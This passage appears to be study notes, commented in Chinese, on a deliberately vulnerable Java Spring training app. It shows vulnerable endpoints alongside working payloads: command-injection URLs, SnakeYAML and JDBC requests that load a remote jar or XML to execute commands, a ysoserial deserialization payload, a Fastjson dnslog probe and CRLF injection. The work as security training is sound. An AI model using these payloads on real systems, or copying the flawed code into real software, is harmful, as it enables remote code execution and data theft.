1
2

//String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath};

1
2
3
4
5
6
7
8

<!--    <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;-->
<a th:href="@{/codeinject?filepath=.%26ipconfig}">CmdInject</a>
   
<!--    <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;-->
<a th:href="@{/path_traversal/vul?filepath=D:/test.txt}">PathTraversal</a>
    
<!--    <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;-->
<a th:href="@{/ssrf/urlConnection/vuln?url=file:///D:/test.txt}">SSRF</a>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

<configuration>  <!-- logback 配置文件标签 -->
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">   <!-- 控制台输出标签 -->
        <withJansi>true</withJansi>  <!-- Jansi 是一个 Java 库，用来支持彩色日志输出  -->
        <encoder>  <!-- 输出格式标签 -->
            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>  <!-- 输出格式 -->
        </encoder>
    </appender>
    <root level="info">  <!-- 根标签 -->
        <appender-ref ref="STDOUT" />  <!-- 引用控制台输出标签 -->
    </root>
    <jmxConfigurator/>  <!-- 暴露 Logback 的运行时配置能力（开启 JMX 管理功能）  -->
</configuration>

1

http://localhost:8081/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8888!/xxx.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

public class Rce {

    @GetMapping("/runtime/exec")
    public String CommandExec(String cmd) {//接收 cmd 参数
        Runtime run = Runtime.getRuntime();//获取当前 JVM 的 RunTime 对象，通过它可以调用 exec 命令
        StringBuilder sb = new StringBuilder();//接收输出结果

        try {
            Process p = run.exec(cmd);//执行 cmd 命令
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

@GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {//接收输入的 cmd

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};//将 cmd 直接拼接到 shell 环境
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();//触发命令执行
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

@GetMapping("/jscmd")  // 定义GET请求端点
public void jsEngine(String jsurl) throws Exception {  // 接收jsurl参数
    // 获取JavaScript引擎（Nashorn）
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");    
    // 获取当前引擎的作用域绑定
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);    
    // 构造加载远程JS的命令
    String cmd = String.format("load(\"%s\")", jsurl);    
    // 执行加载命令
    engine.eval(cmd, bindings);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

// zz.js
var a = mainOutput();
function mainOutput() {
    // Windows打开计算器命令
    var cmd = "calc.exe";

    // 执行系统命令
    var Runtime = Java.type("java.lang.Runtime");
    Runtime.getRuntime().exec(cmd);
}

1
2

cd C:\malicious
python -m http.server 8000

1

http://localhost:8000/zz.js

1

http://127.0.0.1:8081/rce/jscmd?jsurl=http://localhost:8000/zz.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

@GetMapping("/vuln/yarm")
public void yarm(String content) {
    //使用默认构造方法创建一个 SnakeYAML 的解析器。这个构造器会使用默认的 Constructor，允许加载 Java 对象，存在安全风险。
    Yaml y = new Yaml();
    //这里把传入的 content 作为 YAML 输入进行解析，如果内容里构造了特殊的 Java 对象，就可能会被反序列化并执行代码，形成 RCE
    y.load(content);
}

@GetMapping("/sec/yarm")
public void secYarm(String content) {
    Yaml y = new Yaml(new SafeConstructor());
    y.load(content);
}

1

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]

1
2
3

javac src/artsploit/AwesomeScriptEngineFactory.java 

jar -cvf yaml-payload.jar -C src/ .

1

http://127.0.0.1:8081/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://localhost:8000/yaml-payload.jar%22]]]]

1
2
3
4
5
6
7

 @GetMapping("groovy")
    public void groovyshell(String content) {
        //GroovyShell 是 Groovy 提供的脚本解释器，可以在 Java 程序中动态执行 Groovy 代码
        GroovyShell groovyShell = new GroovyShell();
        //将用户传入的脚本内容作为 Groovy 代码,立即执行
        groovyShell.evaluate(content);
    }

1

rce/groovy?content="calc".execute()

1
2
3
4
5
6
7
8
9

@GetMapping("/codeinject")
    public String codeInject(String filepath) throws IOException {//GET 请求，接收 filepath 参数
        //String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
        String[] cmdList = new String[]{"cmd.exe", "/c", "dir " + filepath};//启动 cmd ，/c 执行后关闭终端，dir filepath 列出指定路径下的文件和目录；此处直接拼接了用户输入，存在 RCE 漏洞。
        ProcessBuilder builder = new ProcessBuilder(cmdList);//使用上面构建的命令数组创建进程
        builder.redirectErrorStream(true);//将标准错误流（stderr）合并到标准输出流（stdout），方便统一读取
        Process process = builder.start();//启动进程，执行命令
        return WebUtils.convertStreamToString(process.getInputStream());//获取命令执行后的标准输出流
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

public ProcessBuilder(String... command) {
        this.command = new ArrayList<>(command.length);
        for (String arg : command)
            this.command.add(arg);
    }
    
 public ProcessBuilder redirectErrorStream(boolean redirectErrorStream) {
        this.redirectErrorStream = redirectErrorStream;
        return this;
    }

1
2
3
4

http://127.0.0.1:8081/codeinject?filepath=.%26calc.exe
http://127.0.0.1:8081/codeinject?filepath=.%26ipconfig
http://127.0.0.1:8081/codeinject?filepath=.%26whoami
http://127.0.0.1:8081/codeinject?filepath=%7Cwhoami

1

http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

@GetMapping("/codeinject/host")
    public String codeInjectHost(HttpServletRequest request) throws IOException {

        String host = request.getHeader("host");
        logger.info(host);
        String[] cmdList = new String[]{"sh", "-c", "curl " + host};
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        builder.redirectErrorStream(true);
        Process process = builder.start();
        return WebUtils.convertStreamToString(process.getInputStream());
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

@GetMapping("/codeinject/sec")
public String codeInjectSec(String filepath) throws IOException {
    String filterFilePath = SecurityUtil.cmdFilter(filepath);//调用了自定义的安全类
    if (null == filterFilePath) {//如果 cmdFilter 方法返回 null ，进行拦截
        return "Bad boy. I got u.";
    }
    String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};//Linux 下的 shell 命令
    ProcessBuilder builder = new ProcessBuilder(cmdList);
    builder.redirectErrorStream(true);
    Process process = builder.start();
    return WebUtils.convertStreamToString(process.getInputStream());
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

public class SecurityUtil {

    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
    private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);

	...
	public static String cmdFilter(String input) {
        	if (!FILTER_PATTERN.matcher(input).matches()) {
            	return null;
        	}

        	return input;
    	}
    ...
    
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

package org.joychou.controller;

import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;

import org.joychou.util.WebUtils;
import org.springframework.web.bind.annotation.RestController;

import static org.springframework.web.util.WebUtils.getCookie;


/**
 * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id，导致越权问题。
 */
@RestController
@RequestMapping("/cookie")
public class Cookies {

    //表示 Cookie 中用于表示用户昵称的键
    private static String NICK = "nick";

    @GetMapping(value = "/vuln01")
    public String vuln01(HttpServletRequest req) {
        //调用 getCookieValueByName 方法获取 cookie 中的 nick 值
        String nick = WebUtils.getCookieValueByName(req, NICK); // key code
        return "Cookie nick: " + nick;
    }
    /*
    public class WebUtils {
    	...
    	public static String getCookieValueByName(HttpServletRequest request, String cookieName) {
        	Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
        	return cookie == null ? null : cookie.getValue();
    	}
    	...
    }
 */


    @GetMapping(value = "/vuln02")
    public String vuln02(HttpServletRequest req) {
        String nick = null;
        Cookie[] cookie = req.getCookies();

        if (cookie != null) {
			//调用 getCookie 方法获取 cookie 中的 nick 值
            nick = getCookie(req, NICK).getValue();  // key code
        }

        return "Cookie nick: " + nick;
    }
    /*
    public class WebUtils {
    	...
    	public static Cookie getCookie(HttpServletRequest request, String name) {
        	Assert.notNull(request, "Request must not be null");
        	Cookie[] cookies = request.getCookies();
        	if (cookies != null) {
            	for(Cookie cookie : cookies) {
                	if (name.equals(cookie.getName())) {
                    	return cookie;
                	}
            	}
        	}
        	return null;
    	}
    	...
    }
    	
    */
    


    @GetMapping(value = "/vuln03")
    public String vuln03(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            //遍历所有 cookie ，找 name 为 nick
            for (Cookie cookie : cookies) {
                // key code. Equals can also be equalsIgnoreCase.
                //equals() 是大小写敏感
                if (NICK.equals(cookie.getName())) {
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln04")
    public String vuln04(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                //使用 equalsIgnoreCase()，支持不区分大小写匹配 Cookie 名称。
                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln05")
    //使用 Spring 注解 @CookieValue("nick") 自动注入名为 nick 的 cookie 值。
    public String vuln05(@CookieValue("nick") String nick) {
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln06")
    //和 vuln05 仅语法不同，功能完全一样。
    public String vuln06(@CookieValue(value = "nick") String nick) {
        return "Cookie nick: " + nick;
    }

}

1

Cookie: nick=admin;

1
2
3
4
5

// 伪造一个 nick=admin 的 Cookie
document.cookie = "nick=admin; path=/";

// 发送请求，获取接口返回
fetch("http://127.0.0.1:8081/cookie/vuln05").then(res => res.text()).then(text => console.log(text));

1
2

document.cookie = "nick=<script>alert(1)</script>; path=/";
fetch("http://127.0.0.1:8081/cookie/vuln06").then(res => res.text()).then(text => console.log(text));

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

@RestController
@RequestMapping("/cors")
public class Cors {

    private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    @GetMapping("/vuln/origin")
    public String vuls1(HttpServletRequest request, HttpServletResponse response) {
        String origin = request.getHeader("origin");
        //后端无验证，直接将前端传来的 origin 反射回去，没有判断这个 origin 是否合法
        response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
        //可以在跨域请求中携带 Cookie / Session / Authorization 这些身份凭证
        response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie
        return info;
    }

    @GetMapping("/vuln/setHeader")
    public String vuls2(HttpServletResponse response) {
        // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常
        response.setHeader("Access-Control-Allow-Origin", "*");
        return info;
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

@Controller
@RequestMapping("/crlf")
public class CRLFInjection {

    @RequestMapping("/safecode")
    //表示该方法直接将返回结果写入 HTTP 响应体中
    @ResponseBody
    //接收 HttpServletRequest request: 客户端发来的请求对象，HttpServletResponse response: 用于构造响应返回给客户端。
    public void crlf(HttpServletRequest request, HttpServletResponse response) {
        //将用户传入的 test1 作为值添加到响应头中
        response.addHeader("test1", request.getParameter("test1"));
        //设置 test2 响应头为请求参数 test2 的值。如果该 header 已存在，将被覆盖
        response.setHeader("test2", request.getParameter("test2"));
        //获取参数 test3 的值，赋给 author
        String author = request.getParameter("test3");
        //创建一个新的 Cookie，名为 test3，值为 author
        Cookie cookie = new Cookie("test3", author);
        //将该 Cookie 添加到响应头中
        response.addCookie(cookie);
    }
}

1

/crlf/safecode?test1=abc%0D%0ASet-Cookie:%20evil=1

1

Set-Cookie: evil=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

@Controller
@RequestMapping("/csrf")
public class CSRF {

    @GetMapping("/")
    public String index() {
        return "form";
    }

    @PostMapping("/post")
    @ResponseBody
    public String post() {
        return "CSRF passed.";
    }
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107

package org.joychou.controller;

import com.fasterxml.jackson.databind.ObjectMapper;
import org.joychou.config.Constants;
import org.joychou.security.AntObjectInputStream;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;

import static org.springframework.web.util.WebUtils.getCookie;

/**
 * Deserialize RCE using Commons-Collections gadget.
 *
 * @author JoyChou @2018-06-14
 */
@RestController
@RequestMapping("/deserialize")
public class Deserialize {

    protected final Logger logger = LoggerFactory.getLogger(this.getClass());

    /**
     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br>
     * <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a>
     */
    @RequestMapping("/rememberMe/vuln")
    public String rememberMeVul(HttpServletRequest request)
            throws IOException, ClassNotFoundException {
		
        //从请求中读取 rememberMe cookie
        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
        if (null == cookie) {
            return "No rememberMe cookie. Right?";
        }

        //将 rememberMe cookie 中 Base64 编码的数据进行解码
        String rememberMe = cookie.getValue();
        byte[] decoded = Base64.getDecoder().decode(rememberMe);

        //将 byte[] 包装成字节输入流
        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
        //构造 ObjectInputStream 对象，从流中读取对象，
        ObjectInputStream in = new ObjectInputStream(bytes);
        //读取字节流中的对象，进行反序列化，若 cookie 中包含恶意类，将被执行
        in.readObject();
        in.close();

        return "Are u ok?";
    }

    /**
     * Check deserialize class using black list. <br>
     * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.<br>
     * <a href="http://localhost:8080/deserialize/rememberMe/security">http://localhost:8080/deserialize/rememberMe/security</a>
     */
    //黑名单过滤
    @RequestMapping("/rememberMe/security")
    public String rememberMeBlackClassCheck(HttpServletRequest request)
            throws IOException, ClassNotFoundException {

        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

        if (null == cookie) {
            return "No rememberMe cookie. Right?";
        }
        String rememberMe = cookie.getValue();
        byte[] decoded = Base64.getDecoder().decode(rememberMe);

        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

        try {//使用自定义 AntObjectInputStream 类进行反序列化。该类内部通过黑名单机制禁止一些已知的恶意类
            AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
            in.readObject();
            in.close();
        } catch (InvalidClassException e) {
            logger.info(e.toString());
            return e.toString();
        }

        return "I'm very OK.";
    }

    // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
    @RequestMapping("/jackson")
    public void Jackson(String payload) {
        //ObjectMapper 是 Jackson 提供的 JSON 解析器
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {//反序列化用户输入的 JSON 
            Object obj = mapper.readValue(payload, Object.class);
            mapper.writeValueAsString(obj);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

1
2

路由：
/deserialize/rememberMe/vuln

1
2
3
4
5

Windows：

java -jar ~/ysoserial.jar CommonsCollections5 calc | base64

rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQABGNhbGN0AARleGVjdXEAfgAyAAAAAXEAfgA3c3EAfgAnc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

@Controller
@RequestMapping("/fastjson")
public class Fastjson {

    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
    @ResponseBody
    public String Deserialize(@RequestBody String params) {
        // 如果Content-Type不设置application/json格式，post数据会被url编码
        try {
            // 将post提交的string转换为json
            //Fastjson 框架将字符串解析为 JSONObject 对象
            JSONObject ob = JSON.parseObject(params);
            return ob.get("name").toString();
        } catch (Exception e) {
            return e.toString();
        }
    }

1

{"name":{"@type":"java.net.Inet4Address","val":"2jf0vy.dnslog.cn"}}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

@Controller
@RequestMapping("/file")
public class FileUpload {

    // Save the uploaded file to this folder
    private static final String UPLOADED_FOLDER = "/tmp/";
    private final Logger logger = LoggerFactory.getLogger(this.getClass());
    private static String randomFilePath = "";

    // uplaod any file
    @GetMapping("/any")
    public String index() {
        return "upload"; // return upload.html page
    }

    // only allow to upload pictures
    @GetMapping("/pic")
    public String uploadPic() {
        return "uploadPic"; // return uploadPic.html page
    }

    @PostMapping("/upload")
    public String singleFileUpload(@RequestParam("file") MultipartFile file,
                                   RedirectAttributes redirectAttributes) {
        if (file.isEmpty()) {
            // 赋值给uploadStatus.html里的动态参数message
            redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
            return "redirect:/file/status";
        }

        try {
            // Get the file and save it somewhere
            byte[] bytes = file.getBytes();
            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
            Files.write(path, bytes);

            redirectAttributes.addFlashAttribute("message",
                    "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

        } catch (IOException e) {
            redirectAttributes.addFlashAttribute("message", "upload failed");
            logger.error(e.toString());
        }

        return "redirect:/file/status";
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

@RestController
@RequestMapping("uri")
public class GetRequestURI {

    private final Logger logger = LoggerFactory.getLogger(this.getClass());

    @GetMapping(value = "/exclued/vuln")
    //方法接收 HttpServletRequest 用于获取当前请求的 URI、路径等信息
    public String exclued(HttpServletRequest request) {

        //若请求路径匹配 /css/** 和 /js/** 路径，就跳过登录
        String[] excluedPath = {"/css/**", "/js/**"};
        //获取请求 URI
        String uri = request.getRequestURI(); // Security: request.getServletPath()
        PathMatcher matcher = new AntPathMatcher();

        //打印 getRequestURI() 和 getServletPath() 的结果
        logger.info("getRequestURI: " + uri);
        logger.info("getServletPath: " + request.getServletPath());

        //遍历所有排除规则，如果当前请求 URI 匹配任意规则，则认为绕过登录校验
        for (String path : excluedPath) {
            if (matcher.match(path, uri)) {
                return "You have bypassed the login page.";
            }
        }
        //如果请求路径不匹配排除规则，则返回提示页面是登录页。
        return "This is a login page >..<";
    }
}

1
2
3
4
5
6
7

 @GetMapping("/testPath")
    public String testPath(HttpServletRequest request) {
        // 返回当前请求的完整路径 和 servletPath
        String uri = request.getRequestURI();
        String servletPath = request.getServletPath();
        return "getRequestURI: " + uri + "\ngetServletPath: " + servletPath;
    }

1

String[] excluedPath = {"/uri/css/**", "/uri/js/**"};

1
2
3

poc:
/uri/css/..;/exclued/vuln
/uri/css/..;bypasswaf/exclued/vuln

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

@Slf4j
@RestController
@RequestMapping("/jdbc")
public class Jdbc {

    /**
     * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
     */
    @RequestMapping("/postgresql")
    //接收 Base64 编码的 jdbcurl ，
    public void postgresql(String jdbcUrlBase64) throws Exception{
        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
        String jdbcUrl = new String(b);
        log.info(jdbcUrl);
        DriverManager.getConnection(jdbcUrl);
    }

    @RequestMapping("/db2")
    public void db2(String jdbcUrlBase64) throws Exception{
        Class.forName("com.ibm.db2.jcc.DB2Driver");
        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
        String jdbcUrl = new String(b);
        log.info(jdbcUrl);
        DriverManager.getConnection(jdbcUrl);
    }
}

1

socketFactory=<任意类>&socketFactoryArg=<任意参数>

1
2
3

jdbcUrlBase64=amRiYzpwb3N0Z3Jlc3FsOi8vMTI3LjAuMC4xOjU0MzIvdGVzdC8/c29ja2V0RmFjdG9yeT1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5DbGFzc1BhdGhYbWxBcHBsaWNhdGlvbkNvbnRleHQmc29ja2V0RmFjdG9yeUFyZz1odHRwOi8vdGVzdC5qb3ljaG91Lm9yZy8xLnhtbA==

jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">

   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>open</value>
            <value>-a</value>
            <value>calculator</value><!-- mac 中运行计算机；Linux 就是 /bin/sh，Windows 就是 cmd.exe-->
          </list>
        </constructor-arg>
    </bean>
</beans>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

@ControllerAdvice
public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {

    private final String[] callbacks;
    private final Logger logger= LoggerFactory.getLogger(this.getClass());


    // method of using @Value in constructor
    public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
        super(callbacks);  // Can set multiple paramNames
        this.callbacks = callbac

1
2
3
4
5
6
